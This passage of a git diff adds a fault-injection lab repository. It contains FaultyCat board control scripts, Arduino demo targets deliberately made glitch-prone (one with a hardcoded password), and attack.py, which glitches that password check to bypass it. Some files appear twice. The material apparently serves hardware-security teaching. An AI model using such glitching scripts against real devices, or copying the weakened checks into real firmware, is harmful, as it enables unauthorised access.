fg=typer.colors.BRIGHT_GREEN) + time.sleep(1) + typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN) + for i in range(self.pulse_count): + typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + time.sleep(self.pulse_time) + + typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + self.board_uart.close() + typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW) + except Exception as e: + typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED) \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc new file mode 100644 index 0000000..f503922 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc new file mode 100644 index 0000000..b36d3c6 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc new file mode 100644 index 0000000..34c38f2 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc Binary files differ diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png new file mode 100644 index 0000000..184f47e --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py new file mode 100644 index 0000000..5855b9c --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py @@ -0,0 +1,200 @@ +import sys +import time +import pexpect # Required to handle screen sessions +import threading +from Modules import Worker + +DEFAULT_COMPORT = "/dev/ttyACM0" +SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name + +# Initialize the FaultyWorker +faulty_worker = Worker.FaultyWorker() +# Shared variable to store the response from the device +device_response = None +child = None # Global child variable + +def initialize_child(): + """Initialize the global child process for the screen session.""" + global child + child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8') + child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer + +def send_test_message_and_read_response(): + """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'.""" + global child + + # Send 'ping' to the screen session + child.sendline("ping") + sys.stdout.write("\rSent 'ping' to screen session.") + sys.stdout.flush() + + # Wait a bit to ensure the command is processed + time.sleep(0.5) + + # Try reading any new output from the screen session + try: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + if "pong" in response: + sys.stdout.write("\rReceived 'pong' response.") + return True + else: + sys.stdout.write(f"\rReceived unexpected response: {response}") + sys.stdout.flush() + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + + return False + +def read_screen_output(): + """Read output from the screen session in a separate thread.""" + global device_response + buffer = "" # Initialize a buffer to store incoming characters + + try: + while True: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + buffer += response # Append the new response to the buffer + + # Check if there's a complete line in the buffer + while "\n" in buffer: + line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline + line = line.strip() # Remove any leading/trailing whitespace + + # Check for specific responses + if "incorrect!" in line: + #sys.stdout.write("\rReceived 'incorrect' response.") + device_response = 'incorrect' + return # Exit the loop on incorrect response + elif "correct" in line: + # Die here: Echo message, disarm device, and kill the program + sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n") + sys.stdout.flush() + + # Disarm the board + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + + # Exit the program + sys.exit(0) + + else: + sys.stdout.write(f"\rReceived unexpected response: {line}") + sys.stdout.flush() + + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError reading from screen session: {e}") + sys.stdout.flush() + +def send_pulse_and_check_response(): + """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel.""" + global device_response + try: + # Wait a bit to ensure the command is processed + + + # Send 'incorrectPassword' command to the screen session + sys.stdout.write("\rSending 'incorrectPassword' to screen session.") + sys.stdout.flush() + child.sendline("incorrectPassword") + + time.sleep(0.35) + + # Send 'pulse' command (simulating the pulse trigger) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + sys.stdout.write("\rSent pulse...") + sys.stdout.flush() + + # Start a thread to read the screen output + reader_thread = threading.Thread(target=read_screen_output) + reader_thread.start() + + # Wait for the reading thread to complete + reader_thread.join() + + except Exception as e: + sys.stdout.write(f"\rError interacting with screen session during pulse: {e}") + sys.stdout.flush() + return False + +def start_faulty_attack(): + """Send a pulse through the FaultyCat and listen for the response concurrently.""" + global child + try: + # Initialize the child process for screen session + initialize_child() + + # Open FaultyCat connection + faulty_worker.board_uart.open() + time.sleep(0.1) + sys.stdout.write("\rBoard connected.\n") + sys.stdout.flush() + + # Arming the board + sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + sys.stdout.write("\r[*] ARMED BOARD.\n") + sys.stdout.flush() + time.sleep(1) + + # Sending pulses and checking responses in a loop (up to 5 times) + max_iterations = 5 + for i in range(max_iterations): + sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n") + sys.stdout.flush() + + # Send the test message and check for pong + if send_test_message_and_read_response(): + + max_iterations_2 = 3 + for j in range(max_iterations_2): + # Send pulse and check for correct/incorrect response + if send_pulse_and_check_response(): + break # Break the loop if 'correct!' is received + + # Small delay before next iteration + time.sleep(1) + + # Disarm the board + sys.stdout.write("\rDISARMING BOARD. \n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + sys.stdout.write("\rBOARD DISARMED.\n") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError: {e}\n") + sys.stdout.flush() + finally: + # Make sure to clean up the child process + if child: + child.close() + +def faulty(): + """Configure and send pulses through the FaultyCat.""" + comport = DEFAULT_COMPORT + + print("Configuring the FaultyCat...") + print(f"Using serial port: {comport}") + + # Set the serial port + faulty_worker.set_serial_port(comport) + + # Validate the serial connection + if not faulty_worker.validate_serial_connection(): + print(f"Error: Could not establish connection on: {comport}") + return + + # Start the faulty attack (send pulse) + start_faulty_attack() + +if __name__ == "__main__": + print("Starting FaultyCat...") + faulty() diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino new file mode 100644 index 0000000..ec5db1f --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino @@ -0,0 +1,83 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +const String correctPassword = "secure123"; // Hardcoded password +String inputString = ""; // Variable to hold user input +bool stringComplete = false; // Flag to indicate when a string is complete +bool loggedIn = false; + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(200); // Delay for initialization + Serial.print("[-]> "); +} + +void prompt(){ + // Reset for the next input without checking password + inputString = ""; + stringComplete = false; + if(loggedIn == false){ + Serial.print("[-]"); // not logged in + }else{ + Serial.print("[+]"); // logged in + } + Serial.print("> "); +} + +void loop() { + // If the string is complete, process the input + if (stringComplete) { + // Glitch-prone section: making the comparison more complex and glitch-susceptible + volatile bool match = false; // Using 'volatile' to increase glitch vulnerability + + // Introduce some artificial delays (vulnerable points for glitching) + for (volatile int i = 0; i < 100; i++) { + delayMicroseconds(1); // Short delay to give more opportunity for glitches + } + + // Dummy operation: XOR password with itself (reversible) before comparison + volatile String tempPassword = correctPassword; + for (int i = 0; i < tempPassword.length(); i++) { + tempPassword[i] ^= 0xFF; // XOR with 0xFF (dummy operation to increase complexity) + tempPassword[i] ^= 0xFF; // XOR back to restore original password + } + + // Check if input is "ping" + if (inputString == "ping") { + Serial.println("pong"); // Respond with "pong" if input is "ping" + prompt(); + return; // Exit the loop to avoid further processing (no "Password incorrect!" after "pong") + } + // Now compare the user input with the hardcoded password, but with timing window + else if (inputString == correctPassword) { + match = true; // Passwords match + } + + // Add a chance for glitches to affect this critical condition + if (match) { + Serial.println("Password correct!"); + loggedIn = true; + } else { + Serial.println("Password incorrect!"); + } + prompt(); + } + + // Listen for input from the user + while (Serial.available()) { + char inChar = (char)Serial.read(); // Read the incoming character + + // Check if it is the return character (indicating the end of input) + if (inChar == '\r' || inChar == '\n') { + stringComplete = true; + } else { + // Append the character to the input string + inputString += inChar; + } + } +} diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png new file mode 100644 index 0000000..05d97a6 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py new file mode 100644 index 0000000..0aacecf --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py @@ -0,0 +1,80 @@ +import cmd +import typer +from rich.console import Console +from rich.table import Table + + +def is_valid_number(number): + if number < 0: + raise typer.BadParameter("Number must be positive.") + return number + +class CMDInterface(cmd.Cmd): + intro = "Type help or ? to list commands.\n" + prompt = "?> " + file = None + doc_header = "Commands" + misc_header = "Misc Commands" + undoc_header = "Undocumented Commands" + + def __init__(self, faulty_worker): + super().__init__() + self.faulty_worker = faulty_worker + + def do_config(self, args): + """Configure the FaultyCat.""" + print("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}" + ) + table_config.add_row( + "Pulse time", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}", + ) + table_config.add_row( + "Pulse power", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}", + ) + table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}") + Console().print(table_config) + + def do_set(self, args): + """Set a parameter.""" + print("Setting a parameter...") + args_list = args.split() + if args == "help" or args == "?": + print("Available parameters:") + print("\t[time] pulse_time") + print("\t[count] pulse_count") + print("\tport") + return + + if len(args_list) != 2: + print("Invalid number of arguments.") + return + + if args_list[0] == "pulse_time" or args_list[0] == "time": + self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1]))) + + if args_list[0] == "pulse_count" or args_list[0] == "count": + self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1]))) + + if args_list[0] == "port": + self.faulty_worker.set_serial_port(args_list[1]) + if not self.faulty_worker.validate_serial_connection(): + typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED) + return + + self.do_config(args) + + def do_start(self, args): + """Start the FaultyCat.""" + print("Starting the FaultyCat...") + self.faulty_worker.start_faulty_attack() + + def do_exit(self, line): + """Exit the CLI.""" + return True diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py new file mode 100644 index 0000000..f795f79 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py @@ -0,0 +1,61 @@ +from enum import Enum + +class Commands(Enum): + COMMAND_HELP = "h" + COMMAND_ARM = "a" + COMMAND_DISARM = "d" + COMMAND_PULSE = "p" + COMMAND_ENABLE_TIMEOUT = "en" + COMMAND_DISABLE_TIMEOUT = "di" + COMMAND_FAST_TRIGGER = "f" + COMMAND_FAST_TRIGGER_CONF = "fa" + COMMAND_INTERNAL_HVP = "ih" + COMMAND_EXTERNAL_HVP = "eh" + COMMAND_CONFIGURE = "c" + COMMAND_TOGGLE_GPIO = "t" + COMMAND_STATUS = "s" + COMMAND_RESET = "r" + + def __str__(self): + return self.value + +class BoardStatus(Enum): + STATUS_ARMED = "armed" + STATUS_DISARMED = "disarmed" + STATUS_CHARGED = "charged" + STATUS_PULSE = "pulsed" + STATUS_NOT_CHARGED = "Not Charged" + STATUS_TIMEOUT_ACTIVE = "Timeout active" + STATUS_TIMEOUT_DEACT = "Timeout deactivated" + STATUS_HVP_INTERVAL = "HVP interval" + + def __str__(self): + return self.value + + @classmethod + def get_status_by_value(cls, value): + for status in cls.__members__.values(): + if status.value == value: + return status + return None + +class ConfigBoard: + BOARD_CONFIG = { + "pulse_time" : 1.0, + "pulse_power": 0.012200, + "pulse_count": 1, + "port" : "COM1" + } + def __init__(self) -> None: + self.board_config = ConfigBoard.BOARD_CONFIG + self.board_commands = Commands + + def get_config(self) -> dict: + return self.board_config + + def set_config(self, config: dict) -> None: + self.board_config = config + + def __str__(self) -> str: + return f"Board config: {self.board_config}" + \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py new file mode 100644 index 0000000..3fd677f --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py @@ -0,0 +1,97 @@ +import platform +import serial +import time +import serial.tools.list_ports +import threading + +from .ConfigBoard import BoardStatus + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + +DEFAULT_SERIAL_BAUDRATE = 921600 + +class UART(threading.Thread): + def __init__(self, serial_port: str = DEFAULT_COMPORT): + self.serial_worker = serial.Serial() + self.serial_worker.port = serial_port + self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE + self.recv_cancel = False + #self.daemon = True + + def __del__(self): + self.serial_worker.close() + + def __str__(self): + return f"Serial port: {self.serial_worker.port}" + + def set_serial_port(self, serial_port: str): + self.serial_worker.port = serial_port + + def set_serial_baudrate(self, serial_baudrate: int): + self.serial_worker.baudrate = serial_baudrate + + def is_valid_connection(self) -> bool: + try: + self.open() + self.close() + return True + except serial.SerialException as e: + return False + + def get_serial_ports(self): + return serial.tools.list_ports.comports() + + def reset_buffer(self): + self.serial_worker.reset_input_buffer() + self.serial_worker.reset_output_buffer() + + def cancel_recv(self): + self.recv_cancel = True + + def open(self): + self.serial_worker.open() + self.reset_buffer() + + def close(self): + self.reset_buffer() + self.serial_worker.close() + + def is_connected(self): + return self.serial_worker.is_open + + def send(self, data): + self.serial_worker.write(data) + self.serial_worker.write(b"\n\r") + self.serial_worker.flush() + + def recv(self): + if not self.is_connected(): + self.open() + try: + while not self.recv_cancel: + time.sleep(0.1) + + bytestream = self.serial_worker.readline() + if self.recv_cancel: + self.recv_cancel = False + return None + return bytestream + except serial.SerialException as e: + print(e) + return None + except KeyboardInterrupt: + self.recv_cancel = True + return None + + def send_recv(self, data): + self.send(data) + return self.recv() + + def stop_worker(self): + self.recv_cancel = True + self.reset_buffer() + self.close() + self.join() \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py new file mode 100644 index 0000000..0bb2e54 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py @@ -0,0 +1,68 @@ +import threading +import time +import typer +from rich.console import Console +from rich.table import Table + +from .UART import UART +from .ConfigBoard import ConfigBoard + +class FaultyWorker(threading.Thread): + def __init__(self): + super().__init__() + #self.daemon = True + self.workers = [] + self.board_uart = UART() + self.board_configurator = ConfigBoard() + self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"] + self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"] + + def add_worker(self, worker): + self.workers.append(worker) + + def stop_workers(self): + for worker in self.workers: + worker.join() + + def run_workers(self): + for worker in self.workers: + worker.start() + + def set_serial_port(self, serial_port): + self.board_uart.set_serial_port(serial_port) + + def validate_serial_connection(self): + return self.board_uart.is_valid_connection() + + def set_pulse_count(self, pulse_count): + self.pulse_count = pulse_count + self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count + + def set_pulse_time(self, pulse_time): + self.pulse_time = pulse_time + self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time + + def start_faulty_attack(self): + try: + self.board_uart.open() + time.sleep(0.1) + typer.secho("Board connected.", fg=typer.colors.GREEN) + typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN) + time.sleep(1) + typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN) + for i in range(self.pulse_count): + typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + time.sleep(self.pulse_time) + + typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + self.board_uart.close() + typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW) + except Exception as e: + typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED) \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc new file mode 100644 index 0000000..f503922 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc new file mode 100644 index 0000000..b36d3c6 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc new file mode 100644 index 0000000..34c38f2 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc new file mode 100644 index 0000000..a34e25d --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc Binary files differ diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png 